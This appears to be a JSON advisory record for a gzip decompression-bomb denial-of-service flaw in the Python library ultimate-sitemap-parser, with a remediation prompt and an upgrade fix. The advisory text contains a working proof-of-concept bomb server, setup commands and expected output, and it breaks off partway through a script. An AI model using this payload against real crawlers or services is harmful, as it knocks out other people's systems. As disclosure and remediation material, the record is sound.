{"answers":{"affected":"2 open source packages ship an affected version, including ultimate-sitemap-parser.","exploited":"There is no known exploitation of GHSA-8823-qg2x-pv9f in the wild and no public exploit code.","fix":"Upgrade ultimate-sitemap-parser to 1.8.1 or later.","what":"GHSA-8823-qg2x-pv9f is a denial of service vulnerability in ultimate-sitemap-parser, published on 19 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-8823-qg2x-pv9f and fix it if it is affected.\n\nWhat it is: GHSA-8823-qg2x-pv9f is a denial of service vulnerability in ultimate-sitemap-parser, published on 19 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-8823-qg2x-pv9f in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- ultimate-sitemap-parser (PyPI): affected all versions; fixed in 1.8.1\n- ultimate-sitemap-parser (PyPI): affected all versions; fixed in 1.8.1\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-8823-qg2x-pv9f/ (Markdown: https://insights.sbomify.com/GHSA-8823-qg2x-pv9f/index.md)","id":"GHSA-8823-qg2x-pv9f","markdown":"https://insights.sbomify.com/GHSA-8823-qg2x-pv9f/index.md","name":"GHSA-8823-qg2x-pv9f","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"no_fix_stated","impacts":["denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Python sitemap parser","requires_auth":"none","summary":"An attacker can cause memory exhaustion and crash the application by serving a small gzip-compressed sitemap that expands beyond the enforced size limit.","user_interaction":"not_required","vuln_class":"denial_of_service"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Gzip Decompression Bomb Bypasses Sitemap Size Limit\n\n### Summary\n\n`ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site.\n\n### Details\n\nThe library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`:\n\n```python\n__MAX_SITEMAP_SIZE = 100 * 1024 * 1024  # Max. uncompressed sitemap size\n```\n\nDespite the comment saying \"uncompressed\", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`:\n\n```python\nweb_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE)\n```\n\nThe HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes:\n\n```python\ndata = self.__requests_response.content[: self.__max_response_data_length]\n```\n\nThe truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`:\n\n```python\nresponse_content = ungzipped_response_content(url=self._url, response=response)\n```\n\nInside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered:\n\n```python\nif __response_is_gzipped_data(url=url, response=response):\n    data = gunzip(data)\n```\n\nThe `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard:\n\n```python\ngunzipped_data = gzip_lib.decompress(data)\n```\n\nNo post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed \u003c limit → True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.\n\n### PoC\n\n**Environment setup:**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo\ncd /tmp/usp-repo\ngit checkout 182f4642f145230b68e7518e627883edd09168ca\n\n# Build and run via Docker (memory-limited to 512 MiB)\ndocker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/\ndocker run --rm --memory=512m usp-vuln-002\n```\n\n**Alternatively, run directly:**\n\n```bash\npython -m venv /tmp/usp-poc\n. /tmp/usp-poc/bin/activate\npip install ultimate-sitemap-parser==1.8.0\npython3 poc.py\n```\n\n**PoC script (`poc.py`) — abbreviated attack flow:**\n\n```python\nimport gzip, threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom usp.tree import sitemap_tree_for_homepage\n\n# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed\nbomb_xml = (\n    b'\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e'\n    b'\u003curlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"\u003e'\n    b'\u003c!--' + b'B' * (120 * 1024 * 1024) + b'--\u003e'\n    b'\u003c/urlset\u003e'\n)\ncompressed_bomb = gzip.compress(bomb_xml, compresslevel=1)\n\nclass BombHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        port = self.server.server_address[1]\n        if self.path == \"/robots.txt\":\n            body = f\"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\\n\".encode()\n            self.send_response(200); self.end_headers(); self.wfile.write(body)\n        elif self.path == \"/sitemap.xml.gz\":\n            self.send_response(200)\n            self.send_header(\"Content-Type\", \"application/x-gzip\")\n            self.end_headers(); self.wfile.write(compressed_bomb)\n        else:\n            self.send_response(404); self.end_headers()\n    def log_message(self, *a): pass\n\nserver = HTTPServer((\"127.0.0.1\", 0), BombHandler)\nport = server.server_address[1]\nthreading.Thread(target=server.serve_forever, daemon=True).start()\n\nsitemap_tree_for_homepage(f\"http://127.0.0.1:{port}/\", use_known_paths=False)\nserver.shutdown()\n```\n\n**Expected output:**\n\n```\n[INTERCEPT] gunzip() input=549,213 B  output=125,829,234 B (120.0 MB)\n[+] sitemap_tree_for_homepage() returned without exception\ncompressed=549,213 B \u003c limit=104,857,600 B (passes gate)\ndecompressed=125,829,234 B \u003e limit=104,857,600 B (no post-decompress check)\nEXCEEDS LIMIT: True\n[PASS] Decompression bomb bypassed the size limit.\n```\n\nThe parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.\n\n**Remediation:**\n\n```diff\n--- a/usp/helpers.py\n+++ b/usp/helpers.py\n+import io\n \n-def gunzip(data: bytes) -\u003e bytes:\n+def gunzip(data: bytes, max_output_bytes: int | None = None) -\u003e bytes:\n     try:\n-        gunzipped_data = gzip_lib.decompress(data)\n+        chunks, total = [], 0\n+        with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz:\n+            while chunk := gz.read(1024 * 1024):\n+                total += len(chunk)\n+                if max_output_bytes is not None and total \u003e max_output_bytes:\n+                    raise GunzipException(\n+                        f\"Gunzipped data exceeds maximum size of {max_output_bytes} bytes.\"\n+                    )\n+                chunks.append(chunk)\n+        gunzipped_data = b\"\".join(chunks)\n\n-def ungzipped_response_content(url, response):\n+def ungzipped_response_content(url, response, max_uncompressed_size=None):\n-            data = gunzip(data)\n+            data = gunzip(data, max_output_bytes=max_uncompressed_size)\n\n--- a/usp/fetch_parse.py\n-        response_content = ungzipped_response_content(url=self._url, response=response)\n+        response_content = ungzipped_response_content(\n+            url=self._url, response=response,\n+            max_uncompressed_size=self.__MAX_SITEMAP_SIZE,\n+        )\n```\n\n### Impact\n\nAny application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.\n\nA ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.\n\nThis vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include:\n\n- SEO tooling, search engine crawlers, and indexing services using this library.\n- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.\n- Any automated pipeline that regularly crawls third-party sitemaps.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    gcc \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the vulnerable library from the cloned repo (build context: parent dir)\nCOPY repo/ /app/repo/\n\n# Install the library from local source (version 1.8.0)\nRUN pip install --no-cache-dir /app/repo/\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /app/poc.py\n\n# Run with unbuffered output so evidence appears immediately\nCMD [\"python3\", \"-u\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept for VULN-002:\nGzip Decompression Bomb Bypasses Sitemap Size Limit\nGateNLP/ultimate-sitemap-parser 1.8.0\n\nVulnerability location: usp/helpers.py:239\n  gunzipped_data = gzip_lib.decompress(data)   # no max_length\n\nAttack path:\n  1. Attacker serves","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit","id":"GHSA-8823-qg2x-pv9f","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"denial_of_service","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["1.8.1"],"introduced":["0"],"last_affected":[],"package":"ultimate-sitemap-parser","purl":null,"source":"GHSA-8823-qg2x-pv9f"},{"ecosystem":"PyPI","fixed":["1.8.1"],"introduced":["0"],"last_affected":[],"package":"ultimate-sitemap-parser","purl":"pkg:pypi/ultimate-sitemap-parser","source":"GHSA-8823-qg2x-pv9f"}],"products":null,"published":"2026-06-19","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker can cause memory exhaustion and crash the application by serving a small gzip-compressed sitemap that expands beyond the enforced size limit.","url":"https://insights.sbomify.com/GHSA-8823-qg2x-pv9f/"}